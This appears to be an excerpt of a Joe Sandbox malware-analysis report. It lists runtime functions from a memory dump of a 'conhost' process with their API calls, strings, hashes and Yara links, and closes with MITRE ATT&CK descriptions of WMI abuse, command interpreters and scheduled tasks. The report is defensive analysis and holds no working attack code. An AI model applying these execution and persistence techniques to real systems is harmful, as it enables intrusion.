Instruction Fuzzy Hash: 7431E221E1D603A6EB249B6EF89437927A4AF54799F540037D70EC26B5CF7CB846CB80

Function 00007FF6B1A24E00 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF6B1A24E3C
calloc.MSVCRT ref: 00007FF6B1A24E4B
TlsGetValue.KERNEL32 ref: 00007FF6B1A24E65
TlsSetValue.KERNEL32 ref: 00007FF6B1A24E78

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF6B1A24E28
!dso || dso == &__dso_handle, xrefs: 00007FF6B1A24E35

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: Value$_assertcalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 3698345500-799109717
Opcode ID: 37db0609889b04363d2d255079679b5b24b326b21e047b837a2877e6e151f1d1
Instruction ID: c27719976c1b4145a3820913b71aff0d4678629ff5a0b5aa14e17eabe7e1ed85
Opcode Fuzzy Hash: 37db0609889b04363d2d255079679b5b24b326b21e047b837a2877e6e151f1d1
Instruction Fuzzy Hash: DB019E71B0D202A6FB558B5AF9506B56295AF48798F844036CF0CC37D5EF3CB982C780

Function 00007FF6B1A25A30 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON

Download Yara Rule

Strings

%*.*s, xrefs: 00007FF6B1A25B5A
%.*s, xrefs: 00007FF6B1A25B7D
%-*.*s, xrefs: 00007FF6B1A25B91

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 58b0edbf565832e46507d36c91100ac30dc2e28087965f61291267d3a9d949e6
Instruction ID: 192c2542750001dcf3f53bace2a62643f76521ae52f0edf161197f3e7cd7f15d
Opcode Fuzzy Hash: 58b0edbf565832e46507d36c91100ac30dc2e28087965f61291267d3a9d949e6
Instruction Fuzzy Hash: 6041A272A1835699E7609F2F84452B97790FF42B9CF58C136CF09CA6C4EE2CB5418F90

Function 00007FF6B1A25320 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF6B1A2533B
memcpy.MSVCRT ref: 00007FF6B1A2535B
malloc.MSVCRT ref: 00007FF6B1A25375
memset.MSVCRT ref: 00007FF6B1A2539F
abort.MSVCRT(?,00000000,?,00007FF6B1A254B1), ref: 00007FF6B1A253B2

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: malloc$abortmemcpymemset
String ID:
API String ID: 4174897659-0
Opcode ID: eb34e0a460c61e39b2ff46b28a8e88ec8bd8230ccd31e1d6285dfff70e4d15d0
Instruction ID: 252452fa70153acfb542522b333ce4a7ccdc13101215d5e02fcd0aa98e5fa324
Opcode Fuzzy Hash: eb34e0a460c61e39b2ff46b28a8e88ec8bd8230ccd31e1d6285dfff70e4d15d0
Instruction Fuzzy Hash: BE01E162F0668460EB259B5BE5405FD6260AB95FD8F889132DF1C97781EF3CF982C380

Function 00007FF6B1A24D50 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00007FF6B1A24D9B
EnterCriticalSection.KERNEL32 ref: 00007FF6B1A24DB6
LeaveCriticalSection.KERNEL32 ref: 00007FF6B1A24DD5

Strings

../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF6B1A24D78
!dso || dso == &__dso_handle, xrefs: 00007FF6B1A24D85

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterLeavecalloc
String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
API String ID: 876395260-799109717
Opcode ID: a40e673a363cf6adf913736d170ab8369f279ba881518402db214ce19748621c
Instruction ID: 91fa125a8fa5ce0d514734b638a2bb16b86737fe067eaec8ced3fb774f36e709
Opcode Fuzzy Hash: a40e673a363cf6adf913736d170ab8369f279ba881518402db214ce19748621c
Instruction Fuzzy Hash: 2E010521B09702A5FB619B9AF9502F526A4AF48B88F844136DB0CC3795EF3CB986C340

Function 00007FF6B1A24330 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(00007FF6B1A31C28,00007FF6B1A31080,00007FF6B1A31C20,00007FFB2B31ADA0,?,?,?,00000001,00007FF6B1A2124C), ref: 00007FF6B1A244ED

Part of subcall function 00007FF6B1A24130: VirtualQuery.KERNEL32 ref: 00007FF6B1A241DB

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF6B1A24692
Unknown pseudo relocation bit size %d., xrefs: 00007FF6B1A2466A
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF6B1A24683

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 1027372294-1286557213
Opcode ID: a98be8890546a98c645c990d710ee07856811772a68ba184813888094b9e7a20
Instruction ID: f20ba1dd4841fb3a5bef769238b2629ad79d1c3f435d8b66e95cf02d4111debd
Opcode Fuzzy Hash: a98be8890546a98c645c990d710ee07856811772a68ba184813888094b9e7a20
Instruction Fuzzy Hash: 4591C021F18642A6EB208B2AE54067966A5BF45BACF544237CF1D877C9DE3CF841CB80

Function 00007FF6B1A2A230 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF6B1A2A28A
MultiByteToWideChar.KERNEL32 ref: 00007FF6B1A2A2CA

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: c0eaf304a72f30b6df917a3e8b7a35c21da2a32e642a98cf975b92e1bc5f507b
Instruction ID: 3ff654218b97d4e85ab4b99c5cdab33bf68526e35ec4617c6f2bfc5d5d9a3bab
Opcode Fuzzy Hash: c0eaf304a72f30b6df917a3e8b7a35c21da2a32e642a98cf975b92e1bc5f507b
Instruction Fuzzy Hash: D431B676A0C28196E7604B3AB8003AD7690BB95798F548136EB98C7FD5CF7DE485CB40

Function 00007FF6B1A253C0 Relevance: 6.0, APIs: 4, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 00007FF6B1A253DB
TlsAlloc.KERNEL32 ref: 00007FF6B1A253E8
GetLastError.KERNEL32 ref: 00007FF6B1A25410
abort.MSVCRT ref: 00007FF6B1A25418

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: AllocCreateErrorLastSemaphoreabort
String ID:
API String ID: 4146797221-0
Opcode ID: 68a8cb4a4512b6441f38b26e177b8a661ca8feb00de69cef9e7e75e6fb08b7a2
Instruction ID: 4f2aeb6c028877914ebbe5d882aebbbd0564b37f45beffa3af93c2fa5c788d65
Opcode Fuzzy Hash: 68a8cb4a4512b6441f38b26e177b8a661ca8feb00de69cef9e7e75e6fb08b7a2
Instruction Fuzzy Hash: 5DF05E20E09603A1E728ABAE784467566626F02318F604237D71DC25E1EF3CB1464640

Function 00007FF6B1A23FA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Unknown error, xrefs: 00007FF6B1A24090
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: d4a2256db599fc2d2ca594dcd12f6ce646a9ed308e7e365b5614850625096923
Instruction ID: 91f1e5d795e572f0d3f674e5d3946e9735dc0694f328b67257dd9c7d929a2da0
Opcode Fuzzy Hash: d4a2256db599fc2d2ca594dcd12f6ce646a9ed308e7e365b5614850625096923
Instruction Fuzzy Hash: 6B018262908E8491D7128F1DE8011EA7374FF9D75AF245332EB8C66260DF29E583C740

Function 00007FF6B1A24070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF6B1A24070
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: b1389be86c6671c3615ded8846e1f3a7ce7728f94af0fd5663a83d4c48568bc6
Instruction ID: 0b128c4adf85441c16d4836c69cded0a2364415b40b5262cdf379c721789c7a8
Opcode Fuzzy Hash: b1389be86c6671c3615ded8846e1f3a7ce7728f94af0fd5663a83d4c48568bc6
Instruction Fuzzy Hash: BFF04F52908E4491D7118F1DA8000AAB370FF8E799F285736EB892A565DF28E6828740

Function 00007FF6B1A24060 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Total loss of significance (TLOSS), xrefs: 00007FF6B1A24060
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: bcd97f2aec4024f508f8a8b4b5d64200d04a2d16ae7d13664dc59bd261a7f142
Instruction ID: 50d11a3cc029042ed4dc145a78b6efaf8f457dad53ec35417f5faf5ec669fe34
Opcode Fuzzy Hash: bcd97f2aec4024f508f8a8b4b5d64200d04a2d16ae7d13664dc59bd261a7f142
Instruction Fuzzy Hash: F0F06252908F4491E7118F1DA8000ABB370FF8EB9DF285336EB8D3A565DF28E6828740

Function 00007FF6B1A24050 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6B1A24050
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: e8024487a4fd34e6e3fe3340a1f10a3408645988b8c704b61088cbcf1da6229f
Instruction ID: 72f4e0eb48978490de5d6a986d288862f8d7eac2367a9829356d951644e36248
Opcode Fuzzy Hash: e8024487a4fd34e6e3fe3340a1f10a3408645988b8c704b61088cbcf1da6229f
Instruction Fuzzy Hash: 91F06252908E8491D7118F1DA8000ABB370FF8E79DF285736EB8D3A565DF28E6829740

Function 00007FF6B1A24040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF6B1A24040
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 22943b7f8a6a5c4c42ad77948f4bc19c4dc107383bcc4886496fd03ed14152d8
Instruction ID: e233429be4d523b5491f2f958aee61a968fecf13d484234931153ad1fc305e0f
Opcode Fuzzy Hash: 22943b7f8a6a5c4c42ad77948f4bc19c4dc107383bcc4886496fd03ed14152d8
Instruction Fuzzy Hash: D1F06252908E4491D7118F1DA8001BBB370FF8E79DF285736EB8D3A565DF29E6828740

Function 00007FF6B1A24080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Argument singularity (SIGN), xrefs: 00007FF6B1A24080
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: f31004f15eaed393f516e5b9c943ba4295eeb3a33c2ee934347b580dfb7cc1da
Instruction ID: 3af83d7ebe54870b29a0ac32629458523178fb22c2cecf2c475264973a8a130e
Opcode Fuzzy Hash: f31004f15eaed393f516e5b9c943ba4295eeb3a33c2ee934347b580dfb7cc1da
Instruction Fuzzy Hash: F5F06252908E4491D7118F1DA8000ABB370FF8E79DF285336EB8D7A565DF28E6828740

Function 00007FF6B1A23FD1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6B1A24019

Strings

Argument domain error (DOMAIN), xrefs: 00007FF6B1A23FD1
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6B1A24009

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 07b85231f88bab63e7356351f595d6fd6a34db9b4985474357a4f3ba172ae85f
Instruction ID: e4a448b77d9c84e807d21d1dafa63d970e263d83f2ba909b502d3de0cde9c3eb
Opcode Fuzzy Hash: 07b85231f88bab63e7356351f595d6fd6a34db9b4985474357a4f3ba172ae85f
Instruction Fuzzy Hash: 13F06212804F4481D7018F1DA8000ABB360FF4D799F145726EF883A525DF28E5828740

Function 00007FF6B1A23260 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6B1A23288
wcscpy.MSVCRT ref: 00007FF6B1A23317
wcscat.MSVCRT ref: 00007FF6B1A23322
wcslen.MSVCRT ref: 00007FF6B1A23333

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID:
API String ID: 468205783-0
Opcode ID: e7bc34f2e161438cbd2b6771f1b4e38ebe37c0e9a940a9435b8862b618ff3714
Instruction ID: 214f64dd02556bee3488414a1567b53d6e3d252e92b5ac99abeda7d0ead7c09b
Opcode Fuzzy Hash: e7bc34f2e161438cbd2b6771f1b4e38ebe37c0e9a940a9435b8862b618ff3714
Instruction Fuzzy Hash: 11218522A1878565E721DF2BE45536AB7A0BF55788F488136DF4D87795EF7CE040C380

Function 00007FF6B1A249D0 Relevance: 5.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6B1A249F7
free.MSVCRT ref: 00007FF6B1A24A48
LeaveCriticalSection.KERNEL32 ref: 00007FF6B1A24A54

Memory Dump Source

Source File: 0000001C.00000002.2615765463.00007FF6B1A21000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6B1A20000, based on PE: true

Associated: 0000001C.00000002.2615735917.00007FF6B1A20000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615796164.00007FF6B1A2B000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615824283.00007FF6B1A2E000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615842564.00007FF6B1A31000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000001C.00000002.2615869918.00007FF6B1A35000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff6b1a20000_conhost.jbxd

Similarity

API ID: CriticalSection$EnterLeavefree
String ID:
API String ID: 4020351045-0
Opcode ID: e68b4ef9206e94961699919b94df18e8a3d550e6f3110bb3fd93949450f7db0f
Instruction ID: b35289d0c6e3d37923280b74ff71a2ce4d80aea05925b3c078ab7dbd4d1286cd
Opcode Fuzzy Hash: e68b4ef9206e94961699919b94df18e8a3d550e6f3110bb3fd93949450f7db0f
Instruction Fuzzy Hash: D2111E61F18602E2EB28CB5EF89027967A4AF94B89F545037CB0EC3254DF3CF8428394

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
